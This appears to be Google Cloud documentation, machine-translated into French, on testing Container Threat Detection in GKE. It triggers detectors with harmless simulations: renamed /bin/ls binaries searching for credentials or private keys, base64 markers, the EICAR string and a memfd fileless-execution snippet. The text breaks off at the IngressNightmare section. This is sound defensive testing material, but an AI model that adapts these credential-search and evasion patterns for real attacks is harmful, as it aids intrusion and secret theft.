Cette page a été traduite par l'API Cloud Translation.

Tester Container Threat Detection

Cette page explique comment vérifier que Container Threat Detection fonctionne en déclenchant intentionnellement des détecteurs et en vérifiant les résultats. Container Threat Detection est un service intégré aux niveaux Premium et Enterprise de Security Command Center. Pour afficher les résultats de Container Threat Detection, celui-ci doit être activé dans les paramètres Services de Security Command Center.

Avant de commencer

Pour détecter les menaces potentielles pour vos conteneurs, vous devez vous assurer que vos clusters se trouvent dans une version compatible de Google Kubernetes Engine (GKE). Pour en savoir plus, consultez la section Utiliser une version de GKE compatible.

Activer les détecteurs

Les détecteurs suivants sont désactivés par défaut :

Added Binary Executed
Added Library Loaded
Credential Access: Find Google Cloud Credentials
Defense Evasion: Launch Code Compiler Tool In Container
Execution: Program Run with Disallowed HTTP Proxy Env
Exfiltration: Launch Remote File Copy Tools in Container

Pour tester ces détecteurs, vous devez les activer explicitement :

Vérifiez l'état du détecteur :

export PROJECT=PROJECT_ID
gcloud alpha scc settings services describe \
    --service=CONTAINER_THREAT_DETECTION \
    --project=${PROJECT}

Activez le détecteur Added Binary Executed :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_BINARY_EXECUTED \
    --project=${PROJECT}

Activez le détecteur Added Library Loaded :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=ADDED_LIBRARY_LOADED \
    --project=${PROJECT}

Activez le détecteur Credential Access: Find Google Cloud Credentials :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=FIND_GCP_CREDENTIALS \
    --project=${PROJECT}

Activez le détecteur Execution: Program Run with Disallowed HTTP Proxy Env :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=PROGRAM_RUN_WITH_DISALLOWED_HTTP_PROXY_ENV \
    --project=${PROJECT}

Activez le détecteur Exfiltration: Launch Remote File Copy Tools in Container :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_REMOTE_FILE_COPY_TOOLS_IN_CONTAINER \
    --project=${PROJECT}

Activez le détecteur Defense Evasion: Launch Code Compiler Tool In Container :

gcloud alpha scc settings services modules enable \
    --service=CONTAINER_THREAT_DETECTION \
    --module=LAUNCH_CODE_COMPILER_TOOL_IN_CONTAINER \
    --project=${PROJECT}

Définir des variables d'environnement

Pour tester les détecteurs, vous devez utiliser la console Google Cloud et Cloud Shell. Vous pouvez définir des variables d'environnement dans Cloud Shell pour faciliter l'exécution des commandes. Les variables suivantes sont utilisées pour tester tous les détecteurs Container Threat Detection.

Accédez à la consoleGoogle Cloud .

Accéder à la console Google Cloud
Sélectionnez le projet contenant le conteneur que vous souhaitez utiliser pour le test.
Cliquez sur Activer Cloud Shell.
Dans Cloud Shell, définissez des variables d'environnement.
1. Zone dans laquelle se trouve votre cluster :
```
export ZONE=CLUSTER_ZONE
```
2. Le projet dans lequel se trouve votre conteneur :
```
export PROJECT=PROJECT_ID
```
3. Le nom de votre cluster :
```
export CLUSTER_NAME=CLUSTER_NAME
```

Les variables sont définies. Les sections suivantes incluent des instructions concernant le test des détecteurs de Container Threat Detection.

Fichier binaire ajouté exécuté

Pour déclencher le résultat d'un fichier binaire ajouté exécuté, déposez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, puis l'exécute. L'exécution du fichier binaire est inattendue, car la copie de ce fichier ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez un fichier binaire et exécutez-le :

Nœud x86 :

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Nœud ARM :

tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
    --restart=Never \
    --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu2404:latest \
    --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
    {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
    "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
    "value": "arm64" } ]}}' \
    "$tag" -- sh -c "cp /bin/ls /tmp/$tag; /tmp/$tag"

Cette procédure de test doit créer un fichier binaire supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur, Container Threat Detection filtre temporairement les résultats "Fichier binaire ajouté exécuté". Pour afficher tous les résultats "Binaire ajouté exécuté" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Ajout de bibliothèque chargée

Pour déclencher le résultat d'une bibliothèque ajoutée chargée, déposez une bibliothèque dans votre conteneur et chargez-la. Cet exemple déploie la dernière image Ubuntu 24.04, copie /lib/x86_64-linux-gnu/libc.so.6 à un autre emplacement, puis la charge à l'aide de ld. La bibliothèque chargée est inattendue, car la copie de la bibliothèque ne fait pas partie de l'image de conteneur d'origine, même si celle-ci se trouve dans Ubuntu 24.04 et que les conteneurs sont destinés à être immuables.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez une bibliothèque et utilisez ld pour la charger :

Nœud x86 :

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"

Nœud ARM :

tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "cp /lib/aarch64-linux-gnu/libc.so.6 /tmp/$tag; /lib/ld-linux-aarch64.so.1 /tmp/$tag"

Cette procédure de test doit créer une bibliothèque chargée supplémentaire que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est possible que si vous activez le niveau Premium ou Enterprise de Security Command Center au niveau de l'organisation.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Bibliothèque ajoutée chargée". Pour afficher tous les résultats "Bibliothèque ajoutée chargée" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Commande et contrôle : outil de stéganographie détecté

Pour déclencher un résultat Command and Control: Steganography Tool Detected (aperçu), un fichier binaire doté de fonctionnalités de manipulation de fichiers compatibles avec les outils de stéganographie doit s'exécuter dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme steghide (ou un autre outil de stéganographie comme stegano). Ce comportement est signalé comme suspect, car il peut indiquer une tentative de préparation d'un conteneur pour masquer ou extraire des données, potentiellement à des fins malveillantes.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de stéganographie tel que steghide :

Nœud x86 :

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Nœud ARM :

tag="ktd-test-steganography-tool-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/steghide; /tmp/steghide"

Cette procédure de test crée un résultat Command and Control: Steganography Tool Detected que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : trouver des identifiants Google Cloud

Pour déclencher un résultat Credential Access: Find Google Cloud Credentials, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme grep. Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant une forme d'identifiants Google Cloud . Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de localisation des identifiants Google Cloud .

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Nœud ARM :

tag="ktd-test-find-gcp-credentials-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/grep; /tmp/grep GOOGLE_APPLICATION_CREDENTIALS"

Cette procédure de test doit créer un résultat Credential Access: Find Google Cloud Credentials que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : reconnaissance des clés GPG

Pour déclencher un résultat Credential Access: GPG Key Reconnaissance, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme en find (ou un autre utilitaire de recherche approprié comme grep). Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant des clés privées ou des mots de passe, ou des modèles de contenu suggérant des mots de passe ou des secrets. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de localisation des clés de sécurité GPG.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Nœud ARM :

tag="ktd-test-gpg-key-reconnaissance-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find secring"

Cette procédure de test doit créer un résultat Credential Access: GPG Key Reconnaissance que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Accès aux identifiants : rechercher des clés privées ou des mots de passe

Pour déclencher un résultat Credential Access: Search Private Keys or Passwords, un fichier binaire capable de rechercher le contenu des fichiers doit être exécuté dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme find (ou un autre utilitaire de recherche approprié comme grep). Le fichier binaire renommé est ensuite exécuté avec des arguments qui spécifient un modèle de recherche indiquant des clés privées ou des mots de passe, ou des modèles de contenu suggérant des mots de passe ou des secrets. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de localisation d'informations sensibles, comme des clés privées ou des mots de passe, dans un environnement conteneurisé.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Nœud ARM :

tag="ktd-test-search-private-keys-or-passwords-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/find; /tmp/find id_rsa"

Cette procédure de test doit créer un résultat Credential Access: Search Private Keys or Passwords que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Contournement des défenses : lignes de commande avec fichier ELF en base64

Pour déclencher un résultat Defense Evasion: Base64 ELF File Command Line, un processus doit avoir base64 comme argument et f0VMRgIB comme argument, qui est la forme encodée en base64 de ELF. Cet exemple utilise la dernière image Ubuntu 24.04. base64 est ensuite exécuté avec les arguments -d et f0VMRgIB. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Nœud ARM :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "base64 -d f0VMRgIB"

Cette procédure de test doit créer deux résultats Defense Evasion: Base64 ELF File Command Line que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center. Deux résultats sont créés, car la commande bash -c initiale et l'exécution de la commande base64 -d répondent aux critères de résultat.

Contournement des défenses : script Python encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Python Script Executed, un processus doit avoir echo ou base64 comme argument et aW1wb3J0IH comme argument, qui est la forme encodée en base64 de python -c. Cet exemple utilise la dernière image Ubuntu 24.04. echo est ensuite exécuté avec l'argument aW1wb3J0IH. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Nœud ARM :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo aW1wb3J0IH"

Cette procédure de test doit créer un résultat Defense Evasion: Base64 Encoded Python Script Executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Contournement des défenses : script shell encodé en base64 exécuté

Pour déclencher un résultat Defense Evasion: Base64 Encoded Shell Script Executed, un processus doit avoir echo ou base64 comme argument et IyEvYmluL2Jhc2gK comme argument, qui est la forme encodée en base64 de #!/bin/bash. Cet exemple utilise la dernière image Ubuntu 24.04. echo est ensuite exécuté avec l'argument IyEvYmluL2Jhc2gK. Cette action est signalée comme suspecte, car elle imite le comportement observé lors d'une tentative de décodage de données binaires pour exécuter du code malveillant.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire d'outil de recherche tel que find avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Nœud ARM :

tag="ktd-test-base64-elf-file-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "echo IyEvYmluL2Jhc2gK"

Cette procédure de test doit créer un résultat Defense Evasion: Base64 Encoded Shell Script Executed que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Évasion des défenses : lancer un outil de compilation de code dans un conteneur

Pour déclencher un résultat Defense Evasion: Launch Code Compiler Tool In Container (Aperçu), un outil de compilation de code doit s'exécuter dans un conteneur. Cet exemple utilise la dernière image Ubuntu 24.04. Il copie /bin/ls et le renomme gcc10 (ou un autre compilateur comme clang). Ce comportement est signalé comme suspect, car il peut indiquer une tentative de compilation et d'exécution de code malveillant dans le conteneur pour échapper à la détection ou modifier son comportement.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Exécutez un binaire de compilateur tel que gcc10 avec les arguments appropriés :

Nœud x86 :

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Nœud ARM :

tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"

Cette procédure de test crée un résultat Defense Evasion: Launch Code Compiler Tool In Container que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : binaire malveillant ajouté exécuté

Pour déclencher un résultat "Exécution : binaire malveillant ajouté exécuté", déposez un binaire malveillant dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, crée un fichier malveillant simulé, puis l'exécute. L'exécution du fichier binaire est inattendue, car le fichier binaire malveillant simulé ne fait pas partie de l'image de conteneur d'origine. De plus, le fichier binaire est un fichier de test EICAR, qui est classé comme malveillant par les renseignements sur les menaces.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez le fichier binaire EICAR et exécutez-le :

Nœud x86 :

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Nœud ARM :

tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- sh -c \
      "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"

Cette procédure de test doit créer un résultat "Exécution : fichier binaire malveillant ajouté exécuté" que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Pour réduire le bruit, lorsque vous créez un conteneur pour la première fois, Container Threat Detection filtre temporairement les résultats "Exécution : fichier binaire malveillant ajouté exécuté". Pour afficher tous les résultats "Exécution : fichier binaire malveillant ajouté exécuté" lors de la configuration d'un conteneur, préfixez le nom de votre conteneur ou de votre pod avec ktd-test, comme dans l'exemple.

Exécution : fuite du conteneur

Pour déclencher un résultat d'exécution : échappement de conteneur, placez un fichier binaire dans votre conteneur et exécutez-le. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, la renomme en outil suspect (botb-linux-amd64), puis l'exécute avec des arguments supplémentaires. Cette action est considérée comme suspecte, car cette exécution simule un comportement cohérent avec une tentative d'échappement de conteneur.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Déposez un fichier binaire d'outil d'exploitation de conteneur tel que botb-linux-amd64 et exécutez-le :

Nœud x86 :

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"

Nœud ARM :

tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true -i \
   --image marketplace.gcr.io/google/ubuntu2404:latest \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- bash -c \
      "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"

Cette procédure de test doit créer un résultat d'exécution : échappement de conteneur que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exécution sans fichier dans `/memfd:`

Pour déclencher un résultat Execution: Fileless Execution in /memfd:, un processus doit être exécuté à partir du système de fichiers en mémoire /memfd:. Cet exemple utilise la dernière image Ubuntu 24.04. L'utilitaire /bin/ls est copié dans un fichier anonyme dans /memfd:. Ce fichier binaire copié est ensuite exécuté. L'exécution d'un fichier binaire sous /memfd: est signalée comme suspecte, car elle imite le comportement d'un objet qui tente de s'exécuter en mémoire pour éviter les détections basées sur les fichiers.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

gcloud container clusters get-credentials $CLUSTER_NAME \
    --zone $ZONE \
    --project $PROJECT

Créez un conteneur privilégié et ouvrez bash pour exécuter des commandes :

Nœud x86 :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image marketplace.gcr.io/google/python:latest \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

Nœud ARM :

tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
kubectl run \
   --restart=Never \
   --rm=true  -i \
   --image python:3-buster \
   --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
   {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
   "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
   "value": "arm64" } ]}}' \
   "$tag" -- python -c "import os,sys,time

time.sleep(10)
f = open("/bin/ls",'rb')
execdata = f.read()
f.close()
fd = os.memfd_create("", 0)
fname = "/proc/self/fd/{}".format(fd)
f = open(fname,'wb')
f.write(execdata)
f.close()
args = ["/bin"]
os.execve(fname, args, os.environ)"

Cette procédure de test doit créer un résultat Execution: Fileless Execution in /memfd: que vous pouvez afficher dans Security Command Center et dans Cloud Logging si vous avez configuré Logging pour Container Threat Detection. L'affichage des résultats dans Cloud Logging n'est disponible que si vous activez le niveau Premium ou Enterprise de Security Command Center.

Exécution : exploitation de la faille IngressNightmare

Pour déclencher un résultat d'exécution de la faille Ingress Nightmare (aperçu), exécutez le fichier binaire nginx dans votre conteneur. Cet exemple déploie la dernière image Ubuntu 24.04, copie /bin/ls à un autre emplacement, la renomme en binaire Nginx (nginx), puis l'exécute avec des arguments supplémentaires faisant référence au système de fichiers /proc. Cette action est considérée comme suspecte, car elle simule un comportement cohérent avec l'exploit Ingress Nightmare (CVE-2025-1974), ce qui indique une possible exécution de code à distance.

Définissez des variables d'environnement.

Utilisez Cloud Shell pour accéder au plan de contrôle du cluster :

